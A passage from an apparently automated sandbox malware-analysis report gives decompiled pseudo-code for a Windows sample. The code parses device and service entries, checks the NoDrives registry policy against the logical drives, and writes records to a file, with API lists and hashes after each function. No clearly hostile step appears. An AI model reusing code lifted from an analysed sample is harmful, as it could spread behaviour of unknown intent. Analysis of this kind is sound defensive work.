						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"device") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C0F0( *(_t85 - 0x10), L"deviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}




                                                                                                                                                                                                                                                                                                                                                      0x0040c811
                                                                                                                                                                                                                                                                                                                                                      0x0040c811
                                                                                                                                                                                                                                                                                                                                                      0x0040c811
                                                                                                                                                                                                                                                                                                                                                      0x0040c817
                                                                                                                                                                                                                                                                                                                                                      0x0040c820
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c826
                                                                                                                                                                                                                                                                                                                                                      0x0040c826
                                                                                                                                                                                                                                                                                                                                                      0x0040c830
                                                                                                                                                                                                                                                                                                                                                      0x0040c834
                                                                                                                                                                                                                                                                                                                                                      0x0040c83d
                                                                                                                                                                                                                                                                                                                                                      0x0040c845
                                                                                                                                                                                                                                                                                                                                                      0x0040c923
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c855
                                                                                                                                                                                                                                                                                                                                                      0x0040c855
                                                                                                                                                                                                                                                                                                                                                      0x0040c855
                                                                                                                                                                                                                                                                                                                                                      0x0040c85f
                                                                                                                                                                                                                                                                                                                                                      0x0040c868
                                                                                                                                                                                                                                                                                                                                                      0x0040c873
                                                                                                                                                                                                                                                                                                                                                      0x0040c883
                                                                                                                                                                                                                                                                                                                                                      0x0040c894
                                                                                                                                                                                                                                                                                                                                                      0x0040c896
                                                                                                                                                                                                                                                                                                                                                      0x0040c8a7
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ae
                                                                                                                                                                                                                                                                                                                                                      0x0040c8b0
                                                                                                                                                                                                                                                                                                                                                      0x0040c8b0
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ba
                                                                                                                                                                                                                                                                                                                                                      0x0040c8c3
                                                                                                                                                                                                                                                                                                                                                      0x0040c8cb
                                                                                                                                                                                                                                                                                                                                                      0x0040c8d3
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e3
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e8
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e8
                                                                                                                                                                                                                                                                                                                                                      0x0040c8eb
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ef
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ef
                                                                                                                                                                                                                                                                                                                                                      0x0040c8f5
                                                                                                                                                                                                                                                                                                                                                      0x0040c901
                                                                                                                                                                                                                                                                                                                                                      0x0040c901
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ae
                                                                                                                                                                                                                                                                                                                                                      0x0040c903
                                                                                                                                                                                                                                                                                                                                                      0x0040c907
                                                                                                                                                                                                                                                                                                                                                      0x0040c907
                                                                                                                                                                                                                                                                                                                                                      0x0040c90d
                                                                                                                                                                                                                                                                                                                                                      0x0040c911
                                                                                                                                                                                                                                                                                                                                                      0x0040c915
                                                                                                                                                                                                                                                                                                                                                      0x0040c921
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c921
                                                                                                                                                                                                                                                                                                                                                      0x0040c911
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c845
                                                                                                                                                                                                                                                                                                                                                      0x0040c928
                                                                                                                                                                                                                                                                                                                                                      0x0040c92e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,device), ref: 0040C88C
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C8DB
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C8EF
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C907
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeStringlstrcmpi
                                                                                                                                                                                                                                                                                                                                                      • String ID: device$deviceType
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1602765415-3511266565
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 82c5ac02605d2aed928da70b19d60524d164bcf2e075ee78b110d76732ef659b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 3ebf5e03963a8586373660b136979e6d84cbcce20fdb350c5d7eb0773605ca86
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 82c5ac02605d2aed928da70b19d60524d164bcf2e075ee78b110d76732ef659b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BC31DCB5E0020ADFCB14DF98D884BAFB7B5BF88305F108669E515B73A0D7789981CB94
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C631 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 55%
                                                                                                                                                                                                                                                                                                                                                      			E0040C631() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"service") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C0F0( *(_t85 - 0x10), L"serviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}




                                                                                                                                                                                                                                                                                                                                                      0x0040c631
                                                                                                                                                                                                                                                                                                                                                      0x0040c631
                                                                                                                                                                                                                                                                                                                                                      0x0040c631
                                                                                                                                                                                                                                                                                                                                                      0x0040c637
                                                                                                                                                                                                                                                                                                                                                      0x0040c640
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c646
                                                                                                                                                                                                                                                                                                                                                      0x0040c646
                                                                                                                                                                                                                                                                                                                                                      0x0040c650
                                                                                                                                                                                                                                                                                                                                                      0x0040c654
                                                                                                                                                                                                                                                                                                                                                      0x0040c65d
                                                                                                                                                                                                                                                                                                                                                      0x0040c665
                                                                                                                                                                                                                                                                                                                                                      0x0040c743
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c675
                                                                                                                                                                                                                                                                                                                                                      0x0040c675
                                                                                                                                                                                                                                                                                                                                                      0x0040c675
                                                                                                                                                                                                                                                                                                                                                      0x0040c67f
                                                                                                                                                                                                                                                                                                                                                      0x0040c688
                                                                                                                                                                                                                                                                                                                                                      0x0040c693
                                                                                                                                                                                                                                                                                                                                                      0x0040c6a3
                                                                                                                                                                                                                                                                                                                                                      0x0040c6b4
                                                                                                                                                                                                                                                                                                                                                      0x0040c6b6
                                                                                                                                                                                                                                                                                                                                                      0x0040c6c7
                                                                                                                                                                                                                                                                                                                                                      0x0040c6ce
                                                                                                                                                                                                                                                                                                                                                      0x0040c6d0
                                                                                                                                                                                                                                                                                                                                                      0x0040c6d0
                                                                                                                                                                                                                                                                                                                                                      0x0040c6da
                                                                                                                                                                                                                                                                                                                                                      0x0040c6e3
                                                                                                                                                                                                                                                                                                                                                      0x0040c6eb
                                                                                                                                                                                                                                                                                                                                                      0x0040c6f3
                                                                                                                                                                                                                                                                                                                                                      0x0040c703
                                                                                                                                                                                                                                                                                                                                                      0x0040c708
                                                                                                                                                                                                                                                                                                                                                      0x0040c708
                                                                                                                                                                                                                                                                                                                                                      0x0040c70b
                                                                                                                                                                                                                                                                                                                                                      0x0040c70f
                                                                                                                                                                                                                                                                                                                                                      0x0040c70f
                                                                                                                                                                                                                                                                                                                                                      0x0040c715
                                                                                                                                                                                                                                                                                                                                                      0x0040c721
                                                                                                                                                                                                                                                                                                                                                      0x0040c721
                                                                                                                                                                                                                                                                                                                                                      0x0040c6ce
                                                                                                                                                                                                                                                                                                                                                      0x0040c723
                                                                                                                                                                                                                                                                                                                                                      0x0040c727
                                                                                                                                                                                                                                                                                                                                                      0x0040c727
                                                                                                                                                                                                                                                                                                                                                      0x0040c72d
                                                                                                                                                                                                                                                                                                                                                      0x0040c731
                                                                                                                                                                                                                                                                                                                                                      0x0040c735
                                                                                                                                                                                                                                                                                                                                                      0x0040c741
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c741
                                                                                                                                                                                                                                                                                                                                                      0x0040c731
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c665
                                                                                                                                                                                                                                                                                                                                                      0x0040c748
                                                                                                                                                                                                                                                                                                                                                      0x0040c74e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,service), ref: 0040C6AC
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C6FB
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C70F
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C727
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeStringlstrcmpi
                                                                                                                                                                                                                                                                                                                                                      • String ID: service$serviceType
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1602765415-3667235276
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 331b25e761f93d1973bfbd131952badf4a404cb2a800d5d12eff0fb6ce826fd5
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 735fb1b043b658a763f7a823a4672d8be2f2987cbfa5aee5cbb27b9fc60002fd
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 331b25e761f93d1973bfbd131952badf4a404cb2a800d5d12eff0fb6ce826fd5
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1931CA75A0020ADFCB14CF98D884BAFB7B5BF88304F108269E515A73A0D7789A81CF95
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404C20 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00404C20() {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				long _v20;
				signed int _v24;
				void* _v28;
				char _v32;
				int _v36;
				void* _t44;

				_v20 = GetLogicalDrives();
				_v16 = 0;
				_v12 = 0x80000002;
				_v8 = 0x80000001;
				_v24 = 0;
				while(_v24 < 2) {
					if(RegOpenKeyExW( *(_t44 + _v24 * 4 - 8), L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, 0x20019,  &_v28) == 0) {
						_v32 = 0;
						_v36 = 4;
						if(RegQueryValueExW(_v28, L"NoDrives", 0, 0,  &_v32,  &_v36) == 0 && _v32 != 0) {
							_v16 = _v16 | _v32;
						}
						RegCloseKey(_v28);
					}
					_v24 = _v24 + 1;
				}
				return  !_v16 & _v20;
			}












                                                                                                                                                                                                                                                                                                                                                      0x00404c2c
                                                                                                                                                                                                                                                                                                                                                      0x00404c2f
                                                                                                                                                                                                                                                                                                                                                      0x00404c36
                                                                                                                                                                                                                                                                                                                                                      0x00404c3d
                                                                                                                                                                                                                                                                                                                                                      0x00404c44
                                                                                                                                                                                                                                                                                                                                                      0x00404c56
                                                                                                                                                                                                                                                                                                                                                      0x00404c7c
                                                                                                                                                                                                                                                                                                                                                      0x00404c7e
                                                                                                                                                                                                                                                                                                                                                      0x00404c85
                                                                                                                                                                                                                                                                                                                                                      0x00404ca9
                                                                                                                                                                                                                                                                                                                                                      0x00404cb7
                                                                                                                                                                                                                                                                                                                                                      0x00404cb7
                                                                                                                                                                                                                                                                                                                                                      0x00404cbe
                                                                                                                                                                                                                                                                                                                                                      0x00404cbe
                                                                                                                                                                                                                                                                                                                                                      0x00404c53
                                                                                                                                                                                                                                                                                                                                                      0x00404c53
                                                                                                                                                                                                                                                                                                                                                      0x00404cd1

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetLogicalDrives.KERNEL32 ref: 00404C26
                                                                                                                                                                                                                                                                                                                                                      • RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00404C74
                                                                                                                                                                                                                                                                                                                                                      • RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404CA1
                                                                                                                                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 00404CBE
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • NoDrives, xrefs: 00404C98
                                                                                                                                                                                                                                                                                                                                                      • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00404C67
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CloseDrivesLogicalOpenQueryValue
                                                                                                                                                                                                                                                                                                                                                      • String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2666887985-3471754645
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 45e77d1eb8da3679971fd438734ab8ce6999d49331f709e79ad81f84acf3e0ce
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 089c448eddedc734fb2ecb025645128047185f429c430253d4ccfd08190328bc
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 45e77d1eb8da3679971fd438734ab8ce6999d49331f709e79ad81f84acf3e0ce
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 07110DB0E0020ADBEB14CFD0D945BEEBBB4FB48704F108119E611B7280D3B85645CF99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 004048E0 Relevance: 9.2, APIs: 6, Instructions: 177fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 97%
                                                                                                                                                                                                                                                                                                                                                      			E004048E0(intOrPtr _a12, intOrPtr _a16) {
				signed int _v5;
				void* _v12;
				signed int _v13;
				signed int _v20;
				void* _v24;
				void* _v28;
				signed int _v32;
				long _v36;
				signed char _t76;
				void* _t79;
				intOrPtr _t87;
				intOrPtr _t88;
				signed char _t91;
				signed int _t141;
				void* _t158;
				void* _t159;
				void* _t160;
				void* _t169;

				_v5 = 0;
				EnterCriticalSection(0x414c50);
				_t111 = _a12;
				_t76 = E0040B160(_a12, _a16);
				_t159 = _t158 + 8;
				if((_t76 & 0x000000ff) != 0) {
					_t79 = E0040B100(_t111, _a12);
					_t160 = _t159 + 4;
					_v12 = _t79;
					if(_v12 != 0) {
						_v5 = 1;
						_v13 = 0;
						_v20 = 0;
						while(1) {
							_t169 = _v20 -  *0x414c6c; // 0x0
							if(_t169 >= 0) {
								break;
							}
							_v24 = _v20 * 0x110 +  *0x414c68;
							if( *((intOrPtr*)(_v24 + 4)) ==  *((intOrPtr*)(_v12 + 4))) {
								memcpy(_v24, _v12, 0x40 << 2);
								E00408B60( *((intOrPtr*)(_v24 + 0x108)));
								 *((intOrPtr*)(_v24 + 0x108)) = E00408BD0(_a12, _a16);
								 *((intOrPtr*)(_v24 + 0x10c)) = _a16;
								E00408B60( *((intOrPtr*)(_v24 + 0x100)));
								 *((intOrPtr*)(_v24 + 0x104)) = _a16 - 0x100;
								 *((intOrPtr*)(_v24 + 0x100)) = E0040AA70( *((intOrPtr*)(_v24 + 0x104)), _v24 + 0x14, 0x14, _a12 + 0x100,  *((intOrPtr*)(_v24 + 0x104)));
								_push( *((intOrPtr*)(_v24 + 8)));
								E00405C00( *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 4)),  *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 0x104)));
								_t160 = _t160 + 0x3c;
								_v13 = 1;
							} else {
								_v20 = _v20 + 1;
								continue;
							}
							break;
						}
						__eflags = _v13 & 0x000000ff;
						if((_v13 & 0x000000ff) == 0) {
							_t91 = E00404450(_a16, _v12, _a12, _a16, 1);
							_t160 = _t160 + 0x10;
							__eflags = _t91 & 0x000000ff;
							if((_t91 & 0x000000ff) == 0) {
								 *0x414c6c = 0;
								_v5 = 0;
							}
						}
						E00408B60(_v12);
						__eflags = _v5 & 0x000000ff;
						if((_v5 & 0x000000ff) != 0) {
							_v28 = CreateFileW(0x414e80, 0x40000000, 0, 0, 2, 2, 0);
							__eflags = _v28 - 0xffffffff;
							if(_v28 != 0xffffffff) {
								_v32 = 0;
								while(1) {
									__eflags = _v32 -  *0x414c6c; // 0x0
									if(__eflags >= 0) {
										break;
									}
									_t87 =  *0x414c68; // 0x0
									_t88 =  *0x414c68; // 0x0
									WriteFile(_v28,  *(_t88 + 0x108 + _v32 * 0x110),  *(_t87 + 0x10c + _v32 * 0x110),  &_v36, 0);
									_t141 = _v32 + 1;
									__eflags = _t141;
									_v32 = _t141;
								}
								FlushFileBuffers(_v28);
								CloseHandle(_v28);
							}
						}
					}
				}
				LeaveCriticalSection(0x414c50);
				return _v5;
			}





















                                                                                                                                                                                                                                                                                                                                                      0x004048e8
                                                                                                                                                                                                                                                                                                                                                      0x004048f1
                                                                                                                                                                                                                                                                                                                                                      0x004048fb
                                                                                                                                                                                                                                                                                                                                                      0x004048ff
                                                                                                                                                                                                                                                                                                                                                      0x00404904
                                                                                                                                                                                                                                                                                                                                                      0x0040490c
                                                                                                                                                                                                                                                                                                                                                      0x00404916
                                                                                                                                                                                                                                                                                                                                                      0x0040491b
                                                                                                                                                                                                                                                                                                                                                      0x0040491e
                                                                                                                                                                                                                                                                                                                                                      0x00404925
                                                                                                                                                                                                                                                                                                                                                      0x0040492b
                                                                                                                                                                                                                                                                                                                                                      0x0040492f
                                                                                                                                                                                                                                                                                                                                                      0x00404933
                                                                                                                                                                                                                                                                                                                                                      0x00404945
                                                                                                                                                                                                                                                                                                                                                      0x00404948
                                                                                                                                                                                                                                                                                                                                                      0x0040494e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404963
                                                                                                                                                                                                                                                                                                                                                      0x00404972
                                                                                                                                                                                                                                                                                                                                                      0x00404981
                                                                                                                                                                                                                                                                                                                                                      0x0040498d
                                                                                                                                                                                                                                                                                                                                                      0x004049a8
                                                                                                                                                                                                                                                                                                                                                      0x004049b4
                                                                                                                                                                                                                                                                                                                                                      0x004049c4
                                                                                                                                                                                                                                                                                                                                                      0x004049d8
                                                                                                                                                                                                                                                                                                                                                      0x00404a06
                                                                                                                                                                                                                                                                                                                                                      0x00404a12
                                                                                                                                                                                                                                                                                                                                                      0x00404a2e
                                                                                                                                                                                                                                                                                                                                                      0x00404a33
                                                                                                                                                                                                                                                                                                                                                      0x00404a36
                                                                                                                                                                                                                                                                                                                                                      0x00404974
                                                                                                                                                                                                                                                                                                                                                      0x00404942
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404942
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404972
                                                                                                                                                                                                                                                                                                                                                      0x00404a45
                                                                                                                                                                                                                                                                                                                                                      0x00404a47
                                                                                                                                                                                                                                                                                                                                                      0x00404a57
                                                                                                                                                                                                                                                                                                                                                      0x00404a5c
                                                                                                                                                                                                                                                                                                                                                      0x00404a62
                                                                                                                                                                                                                                                                                                                                                      0x00404a64
                                                                                                                                                                                                                                                                                                                                                      0x00404a66
                                                                                                                                                                                                                                                                                                                                                      0x00404a70
                                                                                                                                                                                                                                                                                                                                                      0x00404a70
                                                                                                                                                                                                                                                                                                                                                      0x00404a64
                                                                                                                                                                                                                                                                                                                                                      0x00404a78
                                                                                                                                                                                                                                                                                                                                                      0x00404a84
                                                                                                                                                                                                                                                                                                                                                      0x00404a86
                                                                                                                                                                                                                                                                                                                                                      0x00404aa6
                                                                                                                                                                                                                                                                                                                                                      0x00404aa9
                                                                                                                                                                                                                                                                                                                                                      0x00404aad
                                                                                                                                                                                                                                                                                                                                                      0x00404aaf
                                                                                                                                                                                                                                                                                                                                                      0x00404ac1
                                                                                                                                                                                                                                                                                                                                                      0x00404ac4
                                                                                                                                                                                                                                                                                                                                                      0x00404aca
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404adb
                                                                                                                                                                                                                                                                                                                                                      0x00404af1
                                                                                                                                                                                                                                                                                                                                                      0x00404b02
                                                                                                                                                                                                                                                                                                                                                      0x00404abb
                                                                                                                                                                                                                                                                                                                                                      0x00404abb
                                                                                                                                                                                                                                                                                                                                                      0x00404abe
                                                                                                                                                                                                                                                                                                                                                      0x00404abe
                                                                                                                                                                                                                                                                                                                                                      0x00404b0e
                                                                                                                                                                                                                                                                                                                                                      0x00404b18
                                                                                                                                                                                                                                                                                                                                                      0x00404b18
                                                                                                                                                                                                                                                                                                                                                      0x00404aad
                                                                                                                                                                                                                                                                                                                                                      0x00404a86
                                                                                                                                                                                                                                                                                                                                                      0x00404925
                                                                                                                                                                                                                                                                                                                                                      0x00404b23
                                                                                                                                                                                                                                                                                                                                                      0x00404b31

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(00414C50,?,?,00000000,0040A437,006A0266,?,0040A453,00000000,0040B70C,?), ref: 004048F1
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNEL32(00414E80,40000000,00000000,00000000,00000002,00000002,00000000,?,?,?,?,00000000,0040A437,006A0266), ref: 00404AA0
                                                                                                                                                                                                                                                                                                                                                      • WriteFile.KERNEL32(000000FF,?,?,00000000,00000000,?,?,?,?,00000000), ref: 00404B02
                                                                                                                                                                                                                                                                                                                                                      • FlushFileBuffers.KERNEL32(000000FF,?,?,?,?,00000000), ref: 00404B0E
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF,?,?,?,?,00000000), ref: 00404B18
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(00414C50,?,?,00000000,0040A437,006A0266,?,0040A453,00000000,0040B70C,?), ref: 00404B23
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
